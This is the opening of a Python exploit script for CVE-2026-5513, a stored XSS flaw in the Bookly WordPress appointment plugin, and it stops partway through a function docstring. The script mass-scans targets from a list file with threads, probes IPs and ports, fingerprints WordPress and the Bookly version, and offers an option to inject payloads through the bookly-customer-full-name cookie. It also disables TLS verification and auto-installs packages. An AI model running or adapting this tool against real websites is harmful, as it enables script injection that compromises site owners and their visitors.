#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-5513 — Bookly <= 27.2 Stored XSS via Cookie ===================================================== Plugin : Online Scheduling and Appointment Booking System – Bookly Versi : <= 27.2 CVSS : 7.2 (High) Patch : 27.3+ Vector : bookly-customer-full-name cookie (Stored XSS) Prereq : "Remember personal information in cookies" harus enabled Penggunaan: # Single target — check only python CVE-2026-5513.py -u http://target.com # Single target — inject XSS payload python CVE-2026-5513.py -u http://target.com --inject # Multi target dari file + threading python CVE-2026-5513.py -l list.txt -t 20 # Custom payload python CVE-2026-5513.py -u http://target.com --inject --payload "" # Simpan hasil ke file python CVE-2026-5513.py -l list.txt -t 10 -o hasil.txt DISCLAIMER: Untuk penetration testing dan penelitian keamanan yang sah saja. Penggunaan tanpa izin adalah ilegal. """ import argparse import os import queue import re import sys import threading import time from datetime import datetime from urllib.parse import urlparse, quote # ─────────── Dependency Check & Auto-Install ─────────── def _ensure_deps(): missing = [] try: import requests # noqa: F401 except ImportError: missing.append("requests") try: from colorama import Fore # noqa: F401 except ImportError: missing.append("colorama") if missing: print(f"[*] Installing missing modules: {', '.join(missing)} ...") import subprocess subprocess.check_call( [sys.executable, "-m", "pip", "install"] + missing + ["-q"] ) _ensure_deps() import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) from colorama import Fore, Style, init as colorama_init colorama_init(autoreset=True) # ─────────── Color Aliases ─────────── R = Fore.RED G = Fore.GREEN Y = Fore.YELLOW B = Fore.BLUE C = Fore.CYAN M = Fore.MAGENTA W = Fore.WHITE BD = Style.BRIGHT DM = Style.DIM RS = Style.RESET_ALL # ─────────── Global State ─────────── print_lock = threading.Lock() results_lock = threading.Lock() stats = {"total": 0, "done": 0, "vuln": 0, "safe": 0, "error": 0, "injected": 0} vuln_list = [] # ─────────── Constants ─────────── TIMEOUT = 15 UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/120.0.0.0 Safari/537.36") COOKIE_NAME = "bookly-customer-full-name" DEFAULT_PAYLOAD = '' # XSS canary — unique string to detect reflection CANARY = "bkly5513xss" CANARY_PAYLOAD = f'"{CANARY}' # Pages yang biasa ada Bookly booking form BOOKLY_PATHS = [ "/", "/booking/", "/book/", "/book-appointment/", "/appointment/", "/appointments/", "/schedule/", "/reservasi/", "/jadwal/", "/pesan/", "/make-appointment/", "/book-now/", "/reserve/", "/consultation/", "/contact/", "/services/", ] # WordPress subdirectory paths (untuk bare IP) WP_SUBDIRS = [ "/", "/wp/", "/blog/", "/wordpress/", "/site/", "/cms/", "/web/", "/home/", ] # Common ports untuk probe bare IP COMMON_PORTS = [443, 80, 8443, 8080] # ─────────── Helpers ─────────── def banner(): print(f"""{C}{BD} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝{RS} {Y}{BD} CVE-2026-5513{RS} {W} Bookly <= 27.2 — Stored XSS via Cookie (Unauthenticated) Vector : bookly-customer-full-name cookie CVSS : {R}{BD}7.2 High{RS}{W} | CWE-79 | Prereq: cookie setting ON{RS} """) def cprint(color, prefix, msg, target=""): tag = f"{color}{BD}{prefix}{RS}" tgt = f" {DM}[{target}]{RS}" if target else "" with print_lock: print(f"{tag}{tgt} {msg}") def log_info(msg, t=""): cprint(B, "[*]", msg, t) def log_ok(msg, t=""): cprint(G, "[+]", msg, t) def log_warn(msg, t=""): cprint(Y, "[!]", msg, t) def log_error(msg, t=""): cprint(R, "[-]", msg, t) def log_vuln(msg, t=""): cprint(M, "[✓]", msg, t) def log_step(msg, t=""): cprint(C, "[»]", msg, t) def is_ip_address(host): """Check apakah host adalah IP address (v4).""" return bool(re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', host)) def normalize_url(url): """Normalize URL — handle bare IP, domain, port, scheme.""" url = url.strip() if not url: return None # strip trailing slashes, whitespace url = url.strip('/') # jika sudah ada scheme, return as-is if url.startswith(('http://', 'https://')): return url.rstrip('/') # bare IP atau domain tanpa scheme — simpan dulu, probe nanti # default ke http:// untuk IP, https:// untuk domain host = url.split('/')[0].split(':')[0] if is_ip_address(host): # bare IP → jangan tambah scheme dulu, biar probe_target yg handle return f'http://{url}' else: return f'https://{url}'.rstrip('/') def probe_target(raw_input, session, verbose=False): """ Probe bare IP / domain untuk menemukan base URL yang valid. - Detect redirect (IP → domain) - Cek Bookly readme.txt sebagai fast check - Return: dict with base_url, is_wordpress, redirected, redirect_domain, bookly_version """ short = raw_input.strip()[:45] raw = raw_input.strip().strip('/') result = { "base_url": None, "is_wordpress": False, "redirected": False, "redirect_domain": None, "bookly_version": None, "connected": False, } # extract host dan optional port if raw.startswith(('http://', 'https://')): parsed = urlparse(raw) host = parsed.hostname port = parsed.port schemes_ports = [(parsed.scheme, port or (443 if parsed.scheme == 'https' else 80))] else: host = raw.split('/')[0].split(':')[0] port_match = re.search(r':([0-9]+)', raw.split('/')[0]) if port_match: port = int(port_match.group(1)) schemes_ports = [('https', port), ('http', port)] else: port = None if is_ip_address(host): schemes_ports = [] for p in COMMON_PORTS: if p in (443, 8443): schemes_ports.append(('https', p)) else: schemes_ports.append(('http', p)) else: schemes_ports = [('https', 443), ('http', 80)] for scheme, p in schemes_ports: if (scheme == 'https' and p == 443) or (scheme == 'http' and p == 80): base = f"{scheme}://{host}" else: base = f"{scheme}://{host}:{p}" try: # ── Step A: Hit root, follow redirects ── r = session.get(base + '/', timeout=10, allow_redirects=True) if r.status_code >= 500: continue result["connected"] = True final_url = r.url.rstrip('/') # ── Step B: Detect redirect ke domain lain ── final_parsed = urlparse(final_url) final_host = final_parsed.hostname or '' original_is_ip = is_ip_address(host) if original_is_ip and final_host and not is_ip_address(final_host): # IP redirect ke domain! result["redirected"] = True result["redirect_domain"] = final_url.rstrip('/') redirected_base = f"{final_parsed.scheme}://{final_host}" if verbose: log_ok(f"IP {host} → redirect ke {redirected_base}", short) # Pakai domain hasil redirect sebagai base base = redirected_base elif original_is_ip and final_host and final_host != host: # redirect ke IP lain result["redirected"] = True result["redirect_domain"] = final_url.rstrip('/') base = final_url.rstrip('/') # ── Step C: Cek apakah WordPress ── body_lower = r.text.lower() is_wp = any(ind in body_lower for ind in [ 'wp-content', 'wp-includes', 'wordpress', 'wp-json', 'wp-login', '/xmlrpc.php' ]) if not is_wp: # fallback: cek wp-login.php try: r_login = session.get(f"{base}/wp-login.php", timeout=8) if r_login.status_code == 200 and 'wp-login' in r_login.text.lower(): is_wp = True except Exception: pass if is_wp: result["base_url"] = base result["is_wordpress"] = True if verbose: log_ok(f"WordPress confirmed → {base}", short) else: result["base_url"] = base # belum tentu WP, tapi masih connected # ── Step D: Fast check Bookly readme.txt ── readme_paths = [ "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt", "/wp-content/plugins/bookly/readme.txt", ] for rp in readme_paths: try: r_readme = session.get(f"{base}{rp}", timeout=8) if r_readme.status_code == 200 and 'bookly' in r_readme.text.lower(): result["is_wordpress"] = True vm = re.search(r'Stable tag:\s*([0-9.]+)', r_readme.text, re.I) if vm: result["bookly_version"] = vm.group(1) if verbose: log_ok(f"Bookly readme.txt found! v{result['bookly_version']}", short) break except Exception: continue # kalau sudah dapat WP atau Bookly, return if result["is_wordpress"]: return result # ── Step E: Untuk bare IP tanpa WP di root, coba subdirectories ── if original_is_ip and not result["is_wordpress"]: for subdir in WP_SUBDIRS: if subdir == '/': continue try: r_sub = session.get(f"{base}{subdir}", timeout=8, allow_redirects=True) if r_sub.status_code < 500: sub_body = r_sub.text.lower() sub_wp = any(ind in sub_body for ind in [ 'wp-content', 'wp-includes', 'wordpress', 'wp-json' ]) if sub_wp: result["base_url"] = base + subdir.rstrip('/') result["is_wordpress"] = True if verbose: log_ok(f"WordPress found in subdir → {result['base_url']}", short) return result except Exception: continue # connected tapi belum tentu WP if result["connected"]: return result except Exception: continue return result def load_targets(filepath): if not os.path.isfile(filepath): log_error(f"File tidak ditemukan: {filepath}") sys.exit(1) targets = [] with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: for line in f: raw = line.strip() if raw and not raw.startswith('#'): targets.append(raw) if not targets: log_error(f"Tidak ada target valid di {filepath}") sys.exit(1) return targets def make_session(proxy=None): s = requests.Session() s.headers.update({'User-Agent': UA}) s.verify = False if proxy: s.proxies = {'http': proxy, 'https': proxy} return s def print_progress(): done = stats["done"] total = stats["total"] pct = int((done / total) * 40) if total else 0 bar = f"{G}{'█' * pct}{DM}{'░' * (40 - pct)}{RS}" line = (f"\r {bar} {BD}{done}/{total}{RS}" f" {G}{BD}Vuln:{stats['vuln']}{RS}" f" {R}Safe:{stats['safe']}{RS}" f" {Y}Err:{stats['error']}{RS}" f" {M}Injected:{stats['injected']}{RS} ") with print_lock: sys.stdout.write(line) sys.stdout.flush() # ─────────── Step 1: Detect Bookly Plugin ─────────── def detect_bookly(session, base_url, short, verbose=False): """ Detect Bookly plugin and extract version. Returns: dict with detected, version, booking_pages """ info = { "detected": False, "version": None, "booking_pages": [], "cookie_setting": None, # unknown until we test } # Method 1: Check readme.txt for version readme_paths = [ "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt", "/wp-content/plugins/bookly/readme.txt", ] for rp in readme_paths: try: r = session.get(f"{base_url}{rp}", timeout=TIMEOUT) if r.status_code == 200 and "bookly" in r.text.lower(): info["detected"] = True vm = re.search(r'Stable tag:\s*([0-9.]+)', r.text, re.IGNORECASE) if vm: info["version"] = vm.group(1) if verbose: log_ok(f"readme.txt found → v{info['version']}", short) break except Exception: continue # Method 2: Check plugin directory (403 = exists) if not info["detected"]: plugin_dirs = [ "/wp-content/plugins/bookly-responsive-appointment-booking-tool/", "/wp-content/plugins/bookly/", ] for pd in plugin_dirs: try: r = session.get(f"{base_url}{pd}", timeout=TIMEOUT) if r.status_code in [200, 403]: info["detected"] = True if verbose: log_ok(f"Plugin directory found ({r.status_code})", short) break except Exception: continue # Method 3: Check for Bookly assets in common pages if not info["detected"]: try: r = session.get(base_url, timeout=TIMEOUT) if r.status_code == 200: body = r.text if any(ind in body for ind in [ 'bookly-responsive-appointment-booking-tool', 'bookly-booking-form', 'bookly-form', 'var BooklyL10n', 'bookly-js', ]): info["detected"] = True if verbose: log_ok("Bookly detected via homepage assets", short) except Exception: pass # Method 4: Detect via CSS/JS version if info["detected"] and not info["version"]: try: r = session.get(base_url, timeout=TIMEOUT) vm = re.search( r'bookly-responsive-appointment-booking-tool[^"\']*\?ver=([0-9.]+)', r.text ) if vm: info["version"] = vm.group(1) except Exception: pass # Find pages with Bookly booking forms for path in BOOKLY_PATHS: try: r = session.get(f"{base_url}{path}", timeout=TIMEOUT, allow_redirects=True) if r.status_code == 200: body = r.text bookly_indicators = [ 'bookly-form', 'bookly-booking', 'BooklyL10n', 'bookly_appointment', 'data-bookly', 'bookly-js', 'class="bookly', 'id="bookly', ] if any(ind in body for ind in bookly_indicators): info["booking_pages"].append(path) info["detected"] = True if verbose: log_info(f"Booking form found at {path}", short) except Exception: continue return info # ─────────── Step 2: Check Cookie Setting + Reflection ─────────── def check_cookie_setting(session, base_url, booking_pages, short, verbose=False): """ Check if "Remember personal information in cookies" is enabled. Bookly passes this setting via wp_localize_script into BooklyL10n JS object. When enabled, the frontend JS reads/writes bookly-customer-* cookies and the values get rendered into the booking form